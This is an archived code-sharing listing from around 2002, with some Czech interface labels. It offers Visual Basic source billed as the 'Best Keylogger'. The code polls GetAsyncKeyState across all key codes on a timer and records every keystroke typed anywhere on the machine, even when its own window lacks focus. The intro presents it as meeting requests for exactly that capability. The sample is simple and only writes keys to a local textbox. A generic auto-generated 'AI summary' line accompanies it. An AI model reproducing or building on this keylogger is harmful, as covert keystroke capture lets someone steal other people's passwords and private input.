Advertisement
2002ASP Miscellaneous #1089

Best Keylogger on PLANET-SOURCE-CODE

I have been hearing requests for people begging someone to get a keylogger which records logged keys when the form is not focuesed. well here is the code which takes any keys pressed and puts it into a textbox even when the form is not given the focus!!

AI

Shrnutí AI: This codebase represents a historical implementation of the logic described in the metadata. Our preservation engine analyzes the structure to provide context for modern developers.

Zdrojový kód
original-source
Dim results As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
 
Private Sub Timer1_Timer()
For i = 1 To 255
results = 0
results = GetAsyncKeyState(i)
If results <> 0 Then
Text1.Text = text1.text & Chr(i)
End If
Next
End Sub
Původní komentáře (3)
Obnoveno z Wayback Machine